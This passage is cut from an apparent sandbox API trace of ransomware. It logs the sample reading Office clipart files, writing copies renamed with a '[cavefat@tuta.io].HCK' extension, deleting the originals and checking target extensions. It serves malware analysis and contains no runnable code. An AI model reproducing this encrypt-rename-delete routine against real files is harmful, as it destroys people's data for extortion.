lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.043] GetLastError () returned 0x0 [0159.043] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x22de, lpOverlapped=0x0) returned 1 [0159.044] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x22e0, lpOverlapped=0x0) returned 1 [0159.045] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.045] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.045] SetEndOfFile (hFile=0x380) returned 1 [0159.045] CloseHandle (hObject=0x380) returned 1 [0159.046] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.046] SetEndOfFile (hFile=0x390) returned 1 [0159.047] CloseHandle (hObject=0x390) returned 1 [0159.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0159.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.047] lstrlenW (lpString=".doc") returned 4 [0159.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.047] lstrlenW (lpString=".docx") returned 5 [0159.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.047] lstrlenW (lpString=".pdf") returned 4 [0159.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.047] lstrlenW (lpString=".xls") returned 4 [0159.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.047] lstrlenW (lpString=".xlsx") returned 5 [0159.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.047] lstrlenW (lpString=".ppt") returned 4 [0159.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.048] lstrlenW (lpString=".zip") returned 4 [0159.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.048] lstrlenW (lpString=".rar") returned 4 [0159.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString=".bz2") returned 4 [0159.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString=".7z") returned 3 [0159.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.048] lstrlenW (lpString=".dbf") returned 4 [0159.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.048] lstrlenW (lpString=".1cd") returned 4 [0159.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.048] lstrlenW (lpString=".jpg") returned 4 [0159.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.048] lstrlenW (lpString=".doc") returned 4 [0159.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString=".docx") returned 5 [0159.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.048] lstrlenW (lpString=".pdf") returned 4 [0159.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString=".xls") returned 4 [0159.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.048] lstrlenW (lpString=".xlsx") returned 5 [0159.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.048] lstrlenW (lpString=".ppt") returned 4 [0159.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.048] lstrlenW (lpString=".zip") returned 4 [0159.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.048] lstrlenW (lpString=".rar") returned 4 [0159.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString=".bz2") returned 4 [0159.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString=".7z") returned 3 [0159.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.048] lstrlenW (lpString=".dbf") returned 4 [0159.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.048] lstrlenW (lpString=".1cd") returned 4 [0159.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0159.048] lstrlenW (lpString=".jpg") returned 4 [0159.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.049] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.049] lstrlenW (lpString="FD00459_.WMF") returned 12 [0159.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.049] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17406) returned 1 [0159.049] CloseHandle (hObject=0x390) returned 1 [0159.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0159.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.049] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.049] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.050] GetLastError () returned 0x0 [0159.050] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x43fe, lpOverlapped=0x0) returned 1 [0159.052] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4400, lpOverlapped=0x0) returned 1 [0159.053] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.053] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.053] SetEndOfFile (hFile=0x380) returned 1 [0159.053] CloseHandle (hObject=0x380) returned 1 [0159.054] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.054] SetEndOfFile (hFile=0x390) returned 1 [0159.054] CloseHandle (hObject=0x390) returned 1 [0159.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0159.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.055] lstrlenW (lpString=".doc") returned 4 [0159.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.055] lstrlenW (lpString=".docx") returned 5 [0159.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.055] lstrlenW (lpString=".pdf") returned 4 [0159.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.055] lstrlenW (lpString=".xls") returned 4 [0159.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.055] lstrlenW (lpString=".xlsx") returned 5 [0159.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.055] lstrlenW (lpString=".ppt") returned 4 [0159.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.055] lstrlenW (lpString=".zip") returned 4 [0159.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.055] lstrlenW (lpString=".rar") returned 4 [0159.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString=".bz2") returned 4 [0159.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString=".7z") returned 3 [0159.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.056] lstrlenW (lpString=".dbf") returned 4 [0159.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.056] lstrlenW (lpString=".1cd") returned 4 [0159.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.056] lstrlenW (lpString=".jpg") returned 4 [0159.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.056] lstrlenW (lpString=".doc") returned 4 [0159.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString=".docx") returned 5 [0159.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.056] lstrlenW (lpString=".pdf") returned 4 [0159.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString=".xls") returned 4 [0159.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.056] lstrlenW (lpString=".xlsx") returned 5 [0159.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.056] lstrlenW (lpString=".ppt") returned 4 [0159.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.056] lstrlenW (lpString=".zip") returned 4 [0159.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.056] lstrlenW (lpString=".rar") returned 4 [0159.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString=".bz2") returned 4 [0159.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString=".7z") returned 3 [0159.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.056] lstrlenW (lpString=".dbf") returned 4 [0159.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.056] lstrlenW (lpString=".1cd") returned 4 [0159.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0159.056] lstrlenW (lpString=".jpg") returned 4 [0159.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.056] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.057] lstrlenW (lpString="FD00543_.WMF") returned 12 [0159.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.057] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1472) returned 1 [0159.057] CloseHandle (hObject=0x390) returned 1 [0159.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0159.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.057] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.057] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.057] GetLastError () returned 0x0 [0159.057] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5c0, lpOverlapped=0x0) returned 1 [0159.059] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0159.059] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.060] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.060] SetEndOfFile (hFile=0x380) returned 1 [0159.060] CloseHandle (hObject=0x380) returned 1 [0159.060] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.060] SetEndOfFile (hFile=0x390) returned 1 [0159.061] CloseHandle (hObject=0x390) returned 1 [0159.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.062] lstrlenW (lpString=".doc") returned 4 [0159.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString=".docx") returned 5 [0159.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.062] lstrlenW (lpString=".pdf") returned 4 [0159.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString=".xls") returned 4 [0159.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.062] lstrlenW (lpString=".xlsx") returned 5 [0159.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.062] lstrlenW (lpString=".ppt") returned 4 [0159.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.062] lstrlenW (lpString=".zip") returned 4 [0159.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.062] lstrlenW (lpString=".rar") returned 4 [0159.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString=".bz2") returned 4 [0159.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString=".7z") returned 3 [0159.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.062] lstrlenW (lpString=".dbf") returned 4 [0159.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.062] lstrlenW (lpString=".1cd") returned 4 [0159.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.062] lstrlenW (lpString=".jpg") returned 4 [0159.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.062] lstrlenW (lpString=".doc") returned 4 [0159.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString=".docx") returned 5 [0159.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.062] lstrlenW (lpString=".pdf") returned 4 [0159.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.062] lstrlenW (lpString=".xls") returned 4 [0159.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.063] lstrlenW (lpString=".xlsx") returned 5 [0159.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.063] lstrlenW (lpString=".ppt") returned 4 [0159.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.063] lstrlenW (lpString=".zip") returned 4 [0159.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.063] lstrlenW (lpString=".rar") returned 4 [0159.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString=".bz2") returned 4 [0159.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString=".7z") returned 3 [0159.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.063] lstrlenW (lpString=".dbf") returned 4 [0159.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.063] lstrlenW (lpString=".1cd") returned 4 [0159.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0159.063] lstrlenW (lpString=".jpg") returned 4 [0159.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.063] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.063] lstrlenW (lpString="FD00544_.WMF") returned 12 [0159.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.063] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5260) returned 1 [0159.063] CloseHandle (hObject=0x390) returned 1 [0159.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0159.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.064] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.064] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.064] GetLastError () returned 0x0 [0159.064] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x148c, lpOverlapped=0x0) returned 1 [0159.066] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x310fc94, 